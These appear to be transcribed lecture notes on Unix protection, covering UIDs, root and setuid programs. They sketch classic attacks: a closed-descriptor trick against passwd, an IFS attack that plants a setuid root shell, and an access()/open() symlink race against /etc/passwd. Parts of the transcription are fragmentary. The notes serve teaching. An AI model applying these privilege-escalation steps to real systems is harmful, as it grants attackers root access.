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2. Protection and security in Unix

A. Intro

UIDs, GIDs (user id, group id)

A process has one user id and one or more group ids

Files and directories are access-controlled

- Saw this in lab 2 (1s)
- System stores w/ each file who owns it
- Where is the info stored?

Special user: uid 0, called root, treated by kernel as the administrator.

(...) | | | permissions: can

UID 0 (root) has all permissions

read any file, do anything.

certain things only root can do:

- set clock
- halt machine
- mount filesystems
- change process's user or group id

B. setuid

ex: how do users change their password?

\$ passwd

/etc/passwd
/etc/shadow

A prog. can be "setuid"

\$ ls

real uid: mwatfish
effective uid: mwatfish

/sbin/passwd

\$ passwd

real uid: mwatfish
effective uid: root

"su": change to new userid if correct passwd is typed.

Example attacks

(a) `close(2);`
`exec("/usr/bin/passwd");`

passwd:


main() ³

{ ^{reality: 2} `fd = open("/etc/passwd", ...)`

⋮

`fprintf(stderr, "Err msg\n");`

(b) old days: "preserve"
setuid root





attacker redefines IFS = '/',
and runs vi in that environment.

attacker:
create "bin", which does:


```
→ cp /bin/sh ./attack  
chown root attack  
chmod 4755 attack
```

preserve:
system("/bin/mail");
parsed as "bin mail"

ptrace()

Attacker

setuid prog: P
root



TOCTTOU

setuid program: P <logfile>

⋮

fd = open(logfile, ← user input
O_CREAT | O_WRONLY |
O_TRUNC,
0666)

access(): check whether the real id, not effective id, is allowed to access the file.

```
if (access ("/tmp/X", W_OK) < 0)
    return ERROR;
```

```
fd = open ("/tmp/X", ...) /* as above */
```

attacker runs "P /tmp/X"

P

attacker
creat ("/tmp/X");

checks access ("/tmp/X") → OK

unlink ("/tmp/X");

symlink ("/etc/passwd", "/tmp/X");

```
open ("/tmp/X", O_TRUNC |
    O_WRONLY);
```
